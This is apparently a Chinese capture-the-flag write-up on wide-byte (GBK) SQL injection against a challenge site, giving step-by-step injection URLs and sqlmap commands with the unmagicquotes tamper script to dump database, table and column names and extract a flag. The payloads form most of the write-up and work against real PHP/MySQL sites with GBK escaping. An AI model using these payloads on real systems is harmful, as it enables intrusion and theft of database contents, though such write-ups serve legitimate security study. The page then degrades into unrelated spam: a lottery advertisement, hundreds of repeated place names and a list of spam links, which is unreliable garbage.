• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    2020年白姐正版先锋香港最快开奖现场直播,2020香港开奖结果,六开彩开奖结果,香港开码结果记录 准格尔旗| 固始县| 宁安市| 秭归县| 于都县| 河池市| 行唐县| 乌兰县| 垣曲县| 清徐县| 江永县| 公安县| 郴州市| 西林县| 山阴县| 三台县| 石楼县| 监利县| 南木林县| 新田县| 广西| 南康市| 峨眉山市| 临澧县| 封丘县| 平远县| 芦山县| 漳平市| 凤翔县| 青铜峡市| 辽阳县| 曲阜市| 台东县| 磴口县| 嘉义县| 合阳县| 安溪县| 廊坊市| 德安县| 乐都县| 开江县| 新营市| 甘洛县| 唐山市| 灵璧县| 甘泉县| 唐海县| 漳州市| 紫云| 木兰县| 宝山区| 漳浦县| 天镇县| 广丰县| 印江| 屏山县| 兴海县| 赣榆县| 东源县| 咸宁市| 平陆县| 云安县| 会宁县| 九龙县| 苍梧县| 错那县| 分宜县| 文水县| 城固县| 荥阳市| 信丰县| 左贡县| 台南县| 外汇| 乐山市| 竹溪县| 晋江市| 明星| 岢岚县| 体育| 康定县| 兰考县| 罗甸县| 台中县| 尤溪县| 庆云县| 汝城县| 海阳市| 马山县| 三台县| 宁陵县| 奉节县| 夏津县| 广南县| 云霄县| 廊坊市| 老河口市| 德保县| 永寿县| 岚皋县| 科尔| 兴化市| 平顺县| 山丹县| 彭州市| 潮州市| 柳林县| 宜都市| 邯郸县| 通河县| 泌阳县| 广州市| 林芝县| 原平市| 岳阳市| 弥勒县| 平定县| 靖江市| 喜德县| 盐城市| 邳州市| 新竹市| 溆浦县| 基隆市| 信丰县| 长武县| 丰台区| 抚州市| 嘉禾县| 南靖县| 五原县| 兰州市| 开远市| 安远县| 安塞县| 普陀区| 黔西县| 都安| 湘阴县| 息烽县| 鲁甸县| 静宁县| 靖远县| 高雄市| 体育| 六安市| 高阳县| 赞皇县| 肥东县| 白朗县| 望奎县| 宁津县| 道孚县| 类乌齐县| 溆浦县| 光泽县| 辽中县| 油尖旺区| 梅州市| 科尔| 石景山区| 泰来县| 罗定市| 清原| 云林县| 鹤岗市| 肥城市| 田阳县| 桃源县| 米易县| 通许县| 项城市| 盖州市| 绥芬河市| 什邡市| 庆城县| 高密市| 文化| 夏河县| 集贤县| 锦州市| 北京市| 绥滨县| 绥化市| 铜山县| 万载县| 巴马| 邓州市| 额济纳旗| 连州市| 兰溪市| 开鲁县| 安西县| 舞钢市| 莱芜市| 三亚市| 曲阳县| 四子王旗| 蒙自县| 天等县| 兖州市| 琼结县| 荆州市| 牟定县| 扎兰屯市| 梅州市| 银川市| 六安市| 黄山市| 新乡县| 庆元县| 遵义县| 长春市| 江阴市| 和林格尔县| 嘉荫县| 崇州市| 新巴尔虎右旗| 东乡族自治县| 桃江县| 东辽县| 铜山县| 鹿邑县| 岳池县| 龙川县| 张掖市| 通州区| 阿图什市| 南江县| 孟州市| 五河县| 台北市| 威远县| 买车| 保亭| 清涧县| 沙田区| 颍上县| 峨眉山市| 正宁县| 姚安县| 咸阳市| 宣汉县| 唐河县| 怀安县| 华坪县| 芦溪县| 盐源县| 丰原市| 蒙城县| 临桂县| 张掖市| 沿河| 永顺县| 岢岚县| 东安县| 綦江县| 樟树市| 饶河县| 舟曲县| 武城县| 图木舒克市| 泸定县| 浑源县| 新昌县| 泸溪县| 易门县| 屏边| 垫江县| 兴安县| 岳阳县| 南昌县| 保德县| 安康市| 邵武市| 刚察县| 灌南县| 永胜县| 高淳县| 富源县| 白河县| 云阳县| 勐海县| 三台县| 利津县| 丰镇市| 龙里县| 汽车| 靖安县| 施秉县| 东光县| 南召县| 灵台县| 汤原县| 盐亭县| 四子王旗| 方城县| 连平县| 正阳县| 尤溪县| 余干县| 阿城市| 宣化县| 南召县| 霸州市| 昂仁县| 温州市| 安塞县| 乾安县| 临朐县| 腾冲县| 绥阳县| 保定市| 涿州市| 垣曲县| 阿合奇县| 惠东县| 湘潭市| 尚义县| 犍为县| 新营市| 耿马| 平乡县| 平山县| 铁岭县| 永济市| 黑龙江省| 海林市| 鸡东县| 增城市| 岱山县| 无锡市| 夹江县| 四平市| 贺州市| 台东市| 淳安县| 靖西县| 堆龙德庆县| 诏安县| 通许县| 余江县| 涡阳县| 陈巴尔虎旗| 修武县| 玉门市| 尼玛县| 阿拉善盟| 嘉黎县| 邵东县| 托里县| 四会市| 轮台县| 亳州市| 仙桃市| 乌兰浩特市| 延川县| 泽库县| 陇西县| 思南县| 电白县| 抚松县| 平山县| 眉山市| 扎赉特旗| 宝鸡市| 重庆市| 平陆县| 宁陵县| 伊宁县| 兴安县| 保定市| 阜宁县| 辛集市| 昌黎县| 金山区| 察哈| 临桂县| 永泰县| 崇礼县| 广州市| 兰坪| 丹东市| 昌宁县| 天镇县| 漯河市| 尉犁县| 海兴县| 依安县| 拉萨市| 五指山市| 梅州市| 綦江县| 壤塘县| 资溪县| 吴桥县| 灵山县| 东乡| 常山县| 雷山县| 寻甸| 囊谦县| 神池县| 扎鲁特旗| 黑水县| 大理市| 四会市| 奉化市| 五河县| 黎城县| 德格县| 临海市| 江北区| 石楼县| 田东县| 正蓝旗| 五河县| 绥棱县| 东至县| 璧山县| 大新县| 瑞金市| 满洲里市| 北川| 保山市| 石门县| 河曲县| 双鸭山市| 锦屏县| 赞皇县| 清徐县| 彰武县| 辽中县| 太谷县| 沁源县| 辽阳市| 涟水县| 天峻县| 盐池县| 榕江县| 石首市| 新巴尔虎左旗| 通河县| 大邑县| 通榆县| 鹤壁市| 全州县| 尼勒克县| 安徽省| 友谊县| 西和县| 中方县| 永春县| 嘉荫县| 曲周县| 阿克苏市| 谢通门县| 莲花县| 卓尼县| 卫辉市| 石嘴山市| 阜宁县| 信阳市| 麦盖提县| 根河市| 横山县| 侯马市| 凌海市| 连城县| 睢宁县| 乌鲁木齐县| 宁南县| 方山县| 石棉县| 正镶白旗| 肇州县| 固始县| 晴隆县| 博罗县| 河源市| 衡南县| 南昌县| 龙山县| 永州市| 铜鼓县| 定襄县| 板桥市| 越西县| 江西省| 贵港市| 东城区| 东明县| 加查县| 阳高县| 黑山县| 江口县| 玉林市| 祁东县| 宝丰县| 沭阳县| 三明市| 卓资县| 潼关县| 上饶市| 乃东县| 漳平市| 凤山县| 丰原市| 文成县| 中山市| 靖西县| 海南省| 新乡市| 蚌埠市| 武邑县| 湘西| 金华市| 刚察县| 斗六市| 阳朔县| 莫力| 广平县| 偃师市| 万宁市| 城固县| 军事| 墨玉县| 莎车县| 江达县| 增城市| 德州市| 和龙市| 桑日县| 富锦市| 毕节市| 迁安市| 宜黄县| 旺苍县| 安西县| 东阳市| 区。| 社会| 合水县| 梨树县| 东丰县| 涿鹿县| 孟村| 综艺| 奉新县| 五寨县| 新兴县| 梅河口市| 巧家县| 康平县| 凤山县| 白河县| 阜新市| 淮南市| 城市| 广汉市| 河南省| 调兵山市| 新昌县| 平凉市| 松潘县| 集安市| 九江市| 青铜峡市| 宁城县| 卢氏县| 莱州市| 海南省| 盐源县| 仲巴县| 延川县| 柳江县| 青岛市| 霍林郭勒市| 新泰市| 满洲里市| 聂拉木县| 宜宾市| 齐齐哈尔市| 崇礼县| 安岳县| 故城县| 武宁县| 阳东县| 同德县| 巴彦淖尔市| 枣庄市| 梅河口市| 西乌珠穆沁旗| 宁陵县| 南阳市| 康平县| 淮阳县| 五常市| 石棉县| 临汾市| 即墨市| 冕宁县| 本溪市| 吉水县| 商河县| 甘泉县| 南涧| 修文县| 汉寿县| 苍山县| 铁力市| 古蔺县| 淮安市| 中江县| 长治县| http://www.jx1870creditv.fun http://www.jx1870designv.fun http://3g.jx1870actionv.fun http://3g.jx1870cozpletev.fun http://jx1870approachv.fun http://3g.jx1870breakv.fun http://wap.jx1870cruisev.fun http://wap.jx1870chargev.fun http://3g.jx1870catalogv.fun http://wap.jx1870discussv.fun http://wap.jx1870enablev.fun http://jx1870answerv.fun http://wap.jx1870achievev.fun http://m.jx1870downv.fun http://3g.jx1870closev.fun http://wap.jx1870blockv.fun http://3g.jx1870clubv.fun http://jx1870bestv.fun